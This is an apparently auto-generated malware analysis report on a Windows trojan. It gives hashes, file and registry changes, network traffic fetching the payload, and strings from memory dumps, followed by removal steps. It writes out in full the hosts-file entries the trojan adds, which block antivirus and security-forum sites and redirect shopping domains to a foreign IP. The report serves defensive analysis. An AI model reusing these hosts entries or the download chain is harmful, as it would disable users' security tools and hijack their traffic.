Trojan.Win32.Hosts2.cg (Kaspersky), Gen:Variant.Graftor.43103 (B) (Emsisoft), Gen:Variant.Graftor.43103 (AdAware), mzpefinder_pcap_file.YR (Lavasoft MAS)Behaviour: Trojan
The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.
Summary
MD5: cee96ea0a0050aed98bc63f2e3c95b43
SHA1: 3129b8d2eb653f288083393cb3f54a1d93774aa2
SHA256: 48c0053122c8fea71b56480a3499dc2fc833ae3b246cf6727b7bea1c036f3d44
SSDeep: 12288:wotgBhZfA1W0W00bCF2MXY0g skR8 vhpV6Y51vYF5z093R:wo0hZ400W00bCF5skRREYGzah
Size: 462848 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6, MicrosoftVisualC, MicrosoftVisualCv50v60MFC, MicrosoftVisualC50, Armadillov171
Company: PlusHD Q-9.1V10.01
Created at: 2014-12-11 17:16:45
Analyzed on: WindowsXP SP3 32-bit
Summary: Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).
Dynamic Analysis
Payload
No specific payload has been found.
Process activity
The Trojan creates the following process(es):
service.exe:1184
The Trojan injects its code into the following process(es):
shanhu_7654_29738.exe:1604
Mutexes
The following mutexes were created/opened:No objects were found.
File activity
The process shanhu_7654_29738.exe:1604 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%Documents and Settings%\All Users\Application Data\7654\7654Bao32.sys (25 bytes)
%Documents and Settings%\All Users\Application Data\7654\7654Bao64.sys (29 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsq2.tmp\HardInfo.dll (7 bytes)
%Documents and Settings%\All Users\Application Data\7654\service.exe (18632 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsq2.tmp\NewInfo.dll (25 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsq2.tmp\System.dll (11 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsq2.tmp\MD5Util.dll (7 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsq2.tmp\setup_ShanHuSilent.exe (473127 bytes)
The Trojan deletes the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temp\nsb1.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsq2.tmp (0 bytes)
Registry activity
The process service.exe:1184 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "1C 1F 1D DC 48 85 7F 20 F6 37 D3 42 C5 3A DA 12"
[HKLM\SOFTWARE\7654Soft]
"ServiceDescription" = "7654èÂâ€Ã§â€ºÅ¸Ã¥Ë†Â¶Ã¥Â®Å¡Ã¤Â¸ÂºÃ§â€Â¨Ã¦Ë†Â·Ã¥Â®â€°Ã¨Â£â€¦Ã¨Â½Â¯Ã¤Â»Â¶Ã¤Â½Â¿Ã§â€Â¨Ã¤Â¿Â驾护航"
"ServiceImagePath" = "%Documents and Settings%\All Users\Application Data\7654\service.exe StartService"
"ServiceDisplayName" = "7654软件å®Â"
"ServiceName" = "7654Bao"
The process shanhu_7654_29738.exe:1604 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "59 F1 22 66 77 3D 5E 5E EC D7 45 04 07 E2 FF E0"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
Dropped PE files
There are no dropped PE files.
HOSTS file anomalies
The Trojan modifies "%System%\drivers\etc\hosts" file which is used to translate DNS entries to IP addresses. The modified file is 4364 bytes in size. The following strings are added to the hosts file listed below:
ÿþ | |
cls | |
127.0.0.1 | www.360.cn |
127.0.0.1 | bbs.360.cn |
127.0.0.1 | 360.cn |
127.0.0.1 | bbs.janmeng.com |
127.0.0.1 | bbs.ikaka.com |
127.0.0.1 | www.shadu007.com |
127.0.0.1 | bbs.sd.keniu.com |
127.0.0.1 | bbs.kafan.cn |
127.0.0.1 | bbs.vc52.cn |
127.0.0.1 | bbs.sanfans.com |
127.0.0.1 | www.kpfans.com |
127.0.0.1 | bbs.shadu007.com |
127.0.0.1 | www.shadu007.com |
127.0.0.1 | bbs.sd.keniu.com |
127.0.0.1 | club.alimama.com |
127.0.0.1 | www.alimama.com |
127.0.0.1 | taoke.alimama.com |
127.0.0.1 | bbs.vc52.cn |
127.0.0.1 | www.virscan.org |
127.0.0.1 | bbs.duba.net |
127.0.0.1 | lt.ijinshan.com |
127.0.0.1 | www.kafan.cn |
127.0.0.1 | www.ijinshan.com |
127.0.0.1 | cd001.www.duba.net |
127.0.0.1 | bbs.taobao.com |
127.0.0.1 | forum.taobao.com |
219.235.1.101 | www.taobao-mo.com |
219.235.1.101 | www.pg8.cn |
219.235.1.101 | www.hl-sms.cn |
219.235.1.101 | mall.yi85.com |
219.235.1.101 | www.ywaili.com |
219.235.1.101 | www.77taoba.com |
219.235.1.101 | www.nongyecn.com |
127.0.0.1 | www.shadu007.com |
127.0.0.1 | bbs.sd.keniu.com |
127.0.0.1 | bbs.kafan.cn |
127.0.0.1 | bbs.vc52.cn |
127.0.0.1 | bbs.sanfans.com |
127.0.0.1 | www.kpfans.com |
127.0.0.1 | bbs.shadu007.com |
127.0.0.1 | www.shadu007.com |
127.0.0.1 | bbs.sd.keniu.com |
127.0.0.1 | club.alimama.com |
127.0.0.1 | www.alimama.com |
127.0.0.1 | taoke.alimama.com |
127.0.0.1 | bbs.vc52.cn |
127.0.0.1 | www.virscan.org |
127.0.0.1 | bbs.duba.net |
127.0.0.1 | lt.ijinshan.com |
127.0.0.1 | www.kafan.cn |
127.0.0.1 | www.ijinshan.com |
127.0.0.1 | cd001.www.duba.net |
127.0.0.1 | bbs.taobao.com |
127.0.0.1 | forum.taobao.com |
219.235.1.101 | cpro.baidu.com |
219.235.1.101 | shouji.tbw.net.cn |
219.235.1.101 | www.sjxun.com |
219.235.1.101 | www.taobao-shouji.com |
219.235.1.101 | www.sugouwu.com |
219.235.1.101 | www.shopnokia.info |
219.235.1.101 | www.949528.cn |
219.235.1.101 | www.mbbw.info |
219.235.1.101 | diannao.nav123.com |
219.235.1.101 | www.qiangdiannao.cn |
219.235.1.101 | www.66taoke.com |
219.235.1.101 | www.haixitaoke.com |
219.235.1.101 | www.ttcome.cn |
219.235.1.101 | www.taoke.info |
219.235.1.101 | www.taoke.la |
219.235.1.101 | www.cntorg.com |
219.235.1.101 | www.taokw.com |
219.235.1.101 | tbwwsgwdn.tao132.cn |
219.235.1.101 | www.949528.cn |
219.235.1.101 | www.lizhishu.com |
127.0.0.1 | www.shadu007.com |
127.0.0.1 | bbs.sd.keniu.com |
127.0.0.1 | bbs.kafan.cn |
127.0.0.1 | bbs.vc52.cn |
127.0.0.1 | bbs.sanfans.com |
127.0.0.1 | www.kpfans.com |
127.0.0.1 | bbs.shadu007.com |
127.0.0.1 | www.shadu007.com |
127.0.0.1 | bbs.sd.keniu.com |
127.0.0.1 | club.alimama.com |
127.0.0.1 | www.alimama.com |
127.0.0.1 | taoke.alimama.com |
127.0.0.1 | bbs.vc52.cn |
127.0.0.1 | www.virscan.org |
127.0.0.1 | bbs.duba.net |
127.0.0.1 | lt.ijinshan.com |
127.0.0.1 | www.kafan.cn |
127.0.0.1 | www.ijinshan.com |
127.0.0.1 | cd001.www.duba.net |
127.0.0.1 | bbs.taobao.com |
127.0.0.1 | forum.taobao.com |
127.0.0.1 | www.shadu007.com |
127.0.0.1 | bbs.sd.keniu.com |
127.0.0.1 | bbs.kafan.cn |
127.0.0.1 | bbs.vc52.cn |
127.0.0.1 | bbs.sanfans.com |
127.0.0.1 | www.kpfans.com |
127.0.0.1 | bbs.shadu007.com |
127.0.0.1 | www.shadu007.com |
127.0.0.1 | bbs.sd.keniu.com |
127.0.0.1 | club.alimama.com |
127.0.0.1 | www.alimama.com |
127.0.0.1 | taoke.alimama.com |
127.0.0.1 | bbs.vc52.cn |
127.0.0.1 | www.virscan.org |
127.0.0.1 | bbs.duba.net |
127.0.0.1 | lt.ijinshan.com |
127.0.0.1 | www.kafan.cn |
127.0.0.1 | www.ijinshan.com |
127.0.0.1 | cd001.www.duba.net |
127.0.0.1 | bbs.taobao.com |
127.0.0.1 | forum.taobao.com |
219.235.1.101 | 517xky.webnode.cn |
219.235.1.101 | bijibendiannao.blog.china.com |
219.235.1.101 | www.taok.cc |
219.235.1.101 | www.mvptaoke.com |
219.235.1.101 | www.taobao.com |
219.235.1.101 | www.mbaobao.com |
219.235.1.101 | www.91kd.cn |
127.0.0.1 | www.shadu007.com |
127.0.0.1 | bbs.sd.keniu.com |
127.0.0.1 | bbs.kafan.cn |
127.0.0.1 | bbs.vc52.cn |
127.0.0.1 | bbs.sanfans.com |
127.0.0.1 | www.kpfans.com |
127.0.0.1 | bbs.shadu007.com |
127.0.0.1 | www.shadu007.com |
127.0.0.1 | www.shadu007.com |
127.0.0.1 | bbs.sd.keniu.com |
127.0.0.1 | bbs.kafan.cn |
127.0.0.1 | bbs.vc52.cn |
127.0.0.1 | bbs.sanfans.com |
127.0.0.1 | www.kpfans.com |
127.0.0.1 | bbs.shadu007.com |
127.0.0.1 | www.shadu007.com |
127.0.0.1 | www.shadu007.com |
127.0.0.1 | bbs.sd.keniu.com |
127.0.0.1 | bbs.kafan.cn |
127.0.0.1 | bbs.vc52.cn |
127.0.0.1 | bbs.sanfans.com |
127.0.0.1 | www.kpfans.com |
127.0.0.1 | bbs.shadu007.com |
Rootkit activity
No anomalies have been detected.
Propagation
Removals
Remove it with Ad-Aware
- Click (here) to download and install Ad-Aware Free Antivirus.
- Update the definition files.
- Run a full scan of your computer.
Manual removal*
- Terminate malicious process(es) (How to End a Process With the Task Manager):
service.exe:1184
- Delete the original Trojan file.
- Delete or disinfect the following files created/modified by the Trojan:
%Documents and Settings%\All Users\Application Data\7654\7654Bao32.sys (25 bytes)
%Documents and Settings%\All Users\Application Data\7654\7654Bao64.sys (29 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsq2.tmp\HardInfo.dll (7 bytes)
%Documents and Settings%\All Users\Application Data\7654\service.exe (18632 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsq2.tmp\NewInfo.dll (25 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsq2.tmp\System.dll (11 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsq2.tmp\MD5Util.dll (7 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsq2.tmp\setup_ShanHuSilent.exe (473127 bytes) - Restore the original content of the HOSTS file (%System%\drivers\etc\hosts): 127.0.0.1 localhost
- Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
- Reboot the computer.
Static Analysis
VersionInfo
No information is available.
No information is available.
PE Sections
Name | Virtual Address | Virtual Size | Raw Size | Entropy | Section MD5 |
---|---|---|---|---|---|
.text | 4096 | 68578 | 69632 | 4.47539 | 66a0b8e50dda9ee08925112c88d50bc0 |
.rdata | 73728 | 14892 | 16384 | 3.16611 | ce538dce21ba4f754300c3f6c4550c4c |
.data | 90112 | 380896 | 372736 | 5.48667 | cfc8a022065f69e2b966d28a24e8b6f7 |
Dropped from:
Downloaded by:
Similar by SSDeep:
Similar by Lavasoft Polymorphic Checker:
Network Activity
URLs
URL | IP |
---|---|
hxxp://220.181.132.237/share.php?method=Share.download&cqid=f7f5b494a0d97c4506b8643b5aca300e&dt=55.0db6818ac10cf334c5c004c60ce1c696&e=1421574547&fhash=312756023d6918031cccca761765dc7a6b3b36fe&fname=shanhu_7654_29738.exe&fsize=13166440&nid=14150301296199941&scid=55&st=19e0258d9fc30995931496a9967e984d&xqid=108878932 | |
hxxp://ac7xafabpw.l26.yunpan.cn/lk/csX5gsznjRB7f | 111.206.52.79 |
hxxp://ac7xafabpw.l26.yunpan.cn/share/downloadfile/ | 111.206.52.79 |
hxxp://yunpan.cn/csX5gsznjRB7f | |
hxxp://ac7xafabpw.l26.yunpan.cn/share/verifyPassword?linkpassword=e4a5&shorturl=csX5gsznjRB7f | 111.206.52.79 |
IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)
Traffic
GET /share.php?method=Share.download&cqid=f7f5b494a0d97c4506b8643b5aca300e&dt=55.0db6818ac10cf334c5c004c60ce1c696&e=1421574547&fhash=312756023d6918031cccca761765dc7a6b3b36fe&fname=shanhu_7654_29738.exe&fsize=13166440&nid=14150301296199941&scid=55&st=19e0258d9fc30995931496a9967e984d&xqid=108878932 HTTP/1.1
Host: 220.181.132.237
Cache-Control: no-cache
HTTP/1.1 200 OK
Server: nginx
Content-Type: application/octet-stream
Content-Transfer-Encoding: binary
X-QIHOO-SERVER: extended nginx
cache-control: max-age=2592000
Accept-Ranges: bytes
Date: Fri, 16 Jan 2015 09:49:08 GMT
X-Varnish: 1304394727
Age: 0
Via: 1.1 varnish
Connection: keep-alive
Content-Disposition: attachment; filename="shanhu_7654_29738.exe"
X-Cache: MISS
X-SIP: 10.131.80.27
Content-Length: 13166440
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......<.yex..6x..6x..6_Pz6{..6_Pl6i..6x..6...6q..6s..6q..6y..6q..6y..6Richx..6................PE..L...l..T.................`...r......H2.......p....@.................................t.......................................dw..........hO...........................................................................p...............................text....^.......`.................. ..`.rdata..P....p.......d..............@..@.data....I...........z..............@....ndata...................................rsrc...hO.......P...|..............@..@........................................................................................................................................................................................................................................................................................................................................................................U....\.}..t .}.F.E.u..H......C..H.P.u..u..u...Hr@..K...SV.5..C.W.E.P.u...Lr@..e...E..E.P.u...Pr@..}..e....Dp@........FR..VV..U... M..........M........E...FQ.....NU..M.......M...VT..U........FP..E...............E.P.M...Hp@..E..P.E..E.P.u...Tr@..u....E..9}...n....~X.te.v4..Lp@..E...tU.}.j.W.E......E.......Pp@..vXW..Tp@..u..5Xp@.W..h ....E..E.Pj.h..C.W..Xr@..u.W...u....E.P.u...\r@._^3.[.....L$....C...i......T.....tUVW.q.3.;5..C.sD..i......D..S.....t.G.....t...O..t .....u...3....3...F.....;5..C.r.[_^...U..QQ
<<< skipped >>>
GET /share/verifyPassword?linkpassword=e4a5&shorturl=csX5gsznjRB7f HTTP/1.1
Referer: hXXp://ac7xafabpw.l26.yunpan.cn/share/verifyPassword?linkpassword=e4a5&shorturl=csX5gsznjRB7f
Accept: */*
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; 125LA; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)
Host: ac7xafabpw.l26.yunpan.cn
Cache-Control: no-cache
HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Fri, 16 Jan 2015 09:49:06 GMT
Content-Type: application/x-javascript;charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
X-Powered-By: PHP/5.2.5
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-control: private
Set-Cookie: user_visit_token_csX5gsznjRB7f=ee76f3bae804a6dbfdea152d250beb0d.1421401746; path=/; domain=.yunpan.cn
2f..{"errno":0,"errmsg":"\u64cd\u4f5c\u6210\u529f"}..0......
GET /lk/csX5gsznjRB7f HTTP/1.1
Referer: hXXp://ac7xafabpw.l26.yunpan.cn/lk/csX5gsznjRB7f
Accept: */*
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; 125LA; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)
Host: ac7xafabpw.l26.yunpan.cn
Cache-Control: no-cache
Cookie: user_visit_token_csX5gsznjRB7f=ee76f3bae804a6dbfdea152d250beb0d.1421401746
HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Fri, 16 Jan 2015 09:49:06 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
X-Powered-By: PHP/5.2.5
1fb5..<!DOCTYPE html>.<html >.<head>.<meta charset="utf-8">.<meta http-equiv="Content-Type" content="text/html; charset=utf-8">.<meta name="renderer" content="webkit">.<link rel="icon" href="/favicon-16.ico" sizes="16x16">.<link rel="icon" href="/favicon-32.ico" sizes="32x32">.. <meta name="Keywords" content="shanhu_7654_29738.exe,............,............,...............,............,............,360......,360......">. <meta name="Description" content="shanhu_7654_29738.exe......................................................................................................360......................................................">..<title>360...... - ............</title>.<script>var G_start_time = new Date;</script>.. <!--[if (lt IE 8.0)]><link type="text/css" rel="stylesheet" href="hXXp://s6.qhimg.com/static/03eaba63cea1d6d2/pan-share-single.src.css"><![endif]--><!--[if (!IE)|(gte IE 8.0)]><!--><link type="text/css" rel="stylesheet" href="hXXp://s7.qhimg.com/static/ed29b1b29798edee/pan-share-single.src_datauri.css"><!--<![endif]--> <!--[if (lt IE 8.0)]><link type="text/css" rel="stylesheet" href="hXXp://s12.qhimg.com/static/7dcc4c465f934d9d/link/share-single.css"><![endif]--><!--[if (!IE)|(gte IE 8.0)]><!--><link type="text/css" rel="stylesheet" href="hXXp://s12.qhimg.com/static/b69856ba7fa5d152/link/share-single_datauri.css"><!--
<<< skipped >>>
POST /share/downloadfile/ HTTP/1.1
Referer: hXXp://ac7xafabpw.l26.yunpan.cn/share/downloadfile/
Accept: */*
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; 125LA; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)
Host: ac7xafabpw.l26.yunpan.cn
Content-Length: 44
Cache-Control: no-cache
Cookie: user_visit_token_csX5gsznjRB7f=ee76f3bae804a6dbfdea152d250beb0d.1421401746
nid=14150301296199941&shorturl=csX5gsznjRB7f
HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Fri, 16 Jan 2015 09:49:07 GMT
Content-Type: application/x-javascript;charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
X-Powered-By: PHP/5.2.5
Set-Cookie: e=1421574547; expires=Sun, 18-Jan-2015 09:49:07 GMT; path=/; domain=.yunpan.cn
Set-Cookie: cqid=f7f5b494a0d97c4506b8643b5aca300e; expires=Sun, 18-Jan-2015 09:49:07 GMT; path=/; domain=.yunpan.cn
Set-Cookie: fname=shanhu_7654_29738.exe; expires=Sun, 18-Jan-2015 09:49:07 GMT; path=/; domain=.yunpan.cn
193..{"errno":0,"errmsg":"\u64cd\u4f5c\u6210\u529f","data":{"downloadurl":"http:\/\/220.181.132.237\/share.php?method=Share.download&cqid=f7f5b494a0d97c4506b8643b5aca300e&dt=55.0db6818ac10cf334c5c004c60ce1c696&e=1421574547&fhash=312756023d6918031cccca761765dc7a6b3b36fe&fname=shanhu_7654_29738.exe&fsize=13166440&nid=14150301296199941&scid=55&st=19e0258d9fc30995931496a9967e984d&xqid=108878932","params":[]}}..0..HTTP/1.1 200 OK..Server: nginx/1.6.2..Date: Fri, 16 Jan 2015 09:49:07 GMT..Content-Type: application/x-javascript;charset=utf-8..Transfer-Encoding: chunked..Connection: keep-alive..Vary: Accept-Encoding..X-Powered-By: PHP/5.2.5..Set-Cookie: e=1421574547; expires=Sun, 18-Jan-2015 09:49:07 GMT; path=/; domain=.yunpan.cn..Set-Cookie: cqid=f7f5b494a0d97c4506b8643b5aca300e; expires=Sun, 18-Jan-2015 09:49:07 GMT; path=/; domain=.yunpan.cn..Set-Cookie: fname=shanhu_7654_29738.exe; expires=Sun, 18-Jan-2015 09:49:07 GMT; path=/; domain=.yunpan.cn..193..{"errno":0,"errmsg":"\u64cd\u4f5c\u6210\u529f","data":{"downloadurl":"http:\/\/220.181.132.237\/share.php?method=Share.download&cqid=f7f5b494a0d97c4506b8643b5aca300e&dt=55.0db6818ac10cf334c5c004c60ce1c696&e=1421574547&fhash=312756023d6918031cccca761765dc7a6b3b36fe&fname=shanhu_7654_29738.exe&fsize=13166440&nid=14150301296199941&scid=55&st=19e0258d9fc30995931496a9967e984d&xqid=108878932","params":[]}}..0..
<<< skipped >>>
GET /csX5gsznjRB7f HTTP/1.1
Referer: hXXp://yunpan.cn/csX5gsznjRB7f
Accept: */*
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; 125LA; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)
Host: yunpan.cn
Cache-Control: no-cache
HTTP/1.1 301 Moved Permanently
Server: nginx/1.6.2
Date: Fri, 16 Jan 2015 09:49:04 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.2.5
Location: hXXp://ac7xafabpw.l26.yunpan.cn/lk/csX5gsznjRB7f
0..HTTP/1.1 301 Moved Permanently..Server: nginx/1.6.2..Date: Fri, 16 Jan 2015 09:49:04 GMT..Content-Type: text/html; charset=utf-8..Transfer-Encoding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.2.5..Location: hXXp://ac7xafabpw.l26.yunpan.cn/lk/csX5gsznjRB7f..0..
Map
The Trojan connects to the servers at the folowing location(s):
Strings from Dumps
svchost.exe_1516:
.text
.text
`.rdata
`.rdata
@.data
@.data
f9z.vk
f9z.vk
CCmdTarget
CCmdTarget
CNotSupportedException
CNotSupportedException
commctrl_DragListMsg
commctrl_DragListMsg
COMCTL32.DLL
COMCTL32.DLL
ole32.dll
ole32.dll
__MSVCRT_HEAP_SELECT
__MSVCRT_HEAP_SELECT
user32.dll
user32.dll
WinExec
WinExec
GetProcessHeap
GetProcessHeap
KERNEL32.dll
KERNEL32.dll
SetWindowsHookExA
SetWindowsHookExA
MsgWaitForMultipleObjects
MsgWaitForMultipleObjects
EnumWindows
EnumWindows
GetAsyncKeyState
GetAsyncKeyState
RegisterHotKey
RegisterHotKey
UnregisterHotKey
UnregisterHotKey
USER32.dll
USER32.dll
RegOpenKeyExA
RegOpenKeyExA
RegCreateKeyExA
RegCreateKeyExA
RegCloseKey
RegCloseKey
RegCreateKeyA
RegCreateKeyA
RegOpenKeyA
RegOpenKeyA
RegEnumKeyA
RegEnumKeyA
RegFlushKey
RegFlushKey
RegDeleteKeyA
RegDeleteKeyA
ADVAPI32.dll
ADVAPI32.dll
SHELL32.dll
SHELL32.dll
SHLWAPI.dll
SHLWAPI.dll
GDI32.dll
GDI32.dll
HttpOpenRequestA
HttpOpenRequestA
HttpSendRequestA
HttpSendRequestA
HttpQueryInfoA
HttpQueryInfoA
InternetOpenUrlA
InternetOpenUrlA
WININET.dll
WININET.dll
ATL.DLL
ATL.DLL
oledlg.dll
oledlg.dll
OLEPRO32.DLL
OLEPRO32.DLL
OLEAUT32.dll
OLEAUT32.dll
GetWindowsDirectoryA
GetWindowsDirectoryA
GetCPInfo
GetCPInfo
GetKeyState
GetKeyState
UnhookWindowsHookEx
UnhookWindowsHookEx
CreateDialogIndirectParamA
CreateDialogIndirectParamA
WINMM.dll
WINMM.dll
SetViewportOrgEx
SetViewportOrgEx
OffsetViewportOrgEx
OffsetViewportOrgEx
SetViewportExtEx
SetViewportExtEx
ScaleViewportExtEx
ScaleViewportExtEx
comdlg32.dll
comdlg32.dll
WINSPOOL.DRV
WINSPOOL.DRV
COMCTL32.dll
COMCTL32.dll
%System%\taskmgr.exe
%System%\taskmgr.exe
127.0.0.1 VVV.360.cn
127.0.0.1 VVV.360.cn
127.0.0.1 bbs.360.cn
127.0.0.1 bbs.360.cn
127.0.0.1 360.cn
127.0.0.1 360.cn
127.0.0.1 bbs.janmeng.com
127.0.0.1 bbs.janmeng.com
127.0.0.1 bbs.ikaka.com
127.0.0.1 bbs.ikaka.com
127.0.0.1 VVV.shadu007.com
127.0.0.1 VVV.shadu007.com
127.0.0.1 bbs.sd.keniu.com
127.0.0.1 bbs.sd.keniu.com
127.0.0.1 bbs.kafan.cn
127.0.0.1 bbs.kafan.cn
127.0.0.1 bbs.vc52.cn
127.0.0.1 bbs.vc52.cn
127.0.0.1 bbs.sanfans.com
127.0.0.1 bbs.sanfans.com
127.0.0.1 VVV.kpfans.com
127.0.0.1 VVV.kpfans.com
127.0.0.1 bbs.shadu007.com
127.0.0.1 bbs.shadu007.com
127.0.0.1 club.alimama.com
127.0.0.1 club.alimama.com
127.0.0.1 VVV.alimama.com
127.0.0.1 VVV.alimama.com
127.0.0.1 taoke.alimama.com
127.0.0.1 taoke.alimama.com
127.0.0.1 VVV.virscan.org
127.0.0.1 VVV.virscan.org
127.0.0.1 bbs.duba.net
127.0.0.1 bbs.duba.net
127.0.0.1 lt.ijinshan.com
127.0.0.1 lt.ijinshan.com
127.0.0.1 VVV.kafan.cn
127.0.0.1 VVV.kafan.cn
127.0.0.1 VVV.ijinshan.com
127.0.0.1 VVV.ijinshan.com
127.0.0.1 cd001.VVV.duba.net
127.0.0.1 cd001.VVV.duba.net
127.0.0.1 bbs.taobao.com
127.0.0.1 bbs.taobao.com
127.0.0.1 forum.taobao.com
127.0.0.1 forum.taobao.com
219.235.1.101 VVV.taobao-mo.com
219.235.1.101 VVV.taobao-mo.com
219.235.1.101 VVV.pg8.cn
219.235.1.101 VVV.pg8.cn
219.235.1.101 VVV.hl-sms.cn
219.235.1.101 VVV.hl-sms.cn
219.235.1.101 mall.yi85.com
219.235.1.101 mall.yi85.com
219.235.1.101 VVV.ywaili.com
219.235.1.101 VVV.ywaili.com
219.235.1.101 VVV.77taoba.com
219.235.1.101 VVV.77taoba.com
219.235.1.101 VVV.nongyecn.com
219.235.1.101 VVV.nongyecn.com
219.235.1.101 cpro.baidu.com
219.235.1.101 cpro.baidu.com
219.235.1.101 shouji.tbw.net.cn
219.235.1.101 shouji.tbw.net.cn
219.235.1.101 VVV.sjxun.com
219.235.1.101 VVV.sjxun.com
219.235.1.101 VVV.taobao-shouji.com
219.235.1.101 VVV.taobao-shouji.com
219.235.1.101 VVV.sugouwu.com
219.235.1.101 VVV.sugouwu.com
219.235.1.101 VVV.shopnokia.info
219.235.1.101 VVV.shopnokia.info
219.235.1.101 VVV.949528.cn
219.235.1.101 VVV.949528.cn
219.235.1.101 VVV.mbbw.info
219.235.1.101 VVV.mbbw.info
219.235.1.101 diannao.nav123.com
219.235.1.101 diannao.nav123.com
219.235.1.101 VVV.qiangdiannao.cn
219.235.1.101 VVV.qiangdiannao.cn
219.235.1.101 VVV.66taoke.com
219.235.1.101 VVV.66taoke.com
219.235.1.101 VVV.haixitaoke.com
219.235.1.101 VVV.haixitaoke.com
219.235.1.101 VVV.ttcome.cn
219.235.1.101 VVV.ttcome.cn
219.235.1.101 VVV.taoke.info
219.235.1.101 VVV.taoke.info
219.235.1.101 VVV.taoke.la
219.235.1.101 VVV.taoke.la
219.235.1.101 VVV.cntorg.com
219.235.1.101 VVV.cntorg.com
219.235.1.101 VVV.taokw.com
219.235.1.101 VVV.taokw.com
219.235.1.101 tbwwsgwdn.tao132.cn
219.235.1.101 tbwwsgwdn.tao132.cn
219.235.1.101 VVV.lizhishu.com
219.235.1.101 VVV.lizhishu.com
219.235.1.101 517xky.webnode.cn
219.235.1.101 517xky.webnode.cn
219.235.1.101 bijibendiannao.blog.china.com
219.235.1.101 bijibendiannao.blog.china.com
219.235.1.101 VVV.taok.cc
219.235.1.101 VVV.taok.cc
219.235.1.101 VVV.mvptaoke.com
219.235.1.101 VVV.mvptaoke.com
219.235.1.101 VVV.taobao.com
219.235.1.101 VVV.taobao.com
219.235.1.101 VVV.mbaobao.com
219.235.1.101 VVV.mbaobao.com
219.235.1.101 VVV.91kd.cn
219.235.1.101 VVV.91kd.cn
127.0.0.1 VVV.shadu007.co%System%\drivers\etc\hosts
127.0.0.1 VVV.shadu007.co%System%\drivers\etc\hosts
%Program Files%\BlueBox\BlueBox.exe
%Program Files%\BlueBox\BlueBox.exe
BlueBox.exe
BlueBox.exe
%Program Files%\BlueBox
%Program Files%\BlueBox
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL
scripting.FileSystemObject
scripting.FileSystemObject
hXXp://VVV.hao123.com/?tn=90507050_hao_pg
hXXp://VVV.hao123.com/?tn=90507050_hao_pg
BaiduSdTray.exe
BaiduSdTray.exe
\uninst.exe
\uninst.exe
\BaiduSdUpdate.exe
\BaiduSdUpdate.exe
BaiduAnTray.exe
BaiduAnTray.exe
\BaiduAnUpdate.exe
\BaiduAnUpdate.exe
HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel
HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\MAIN
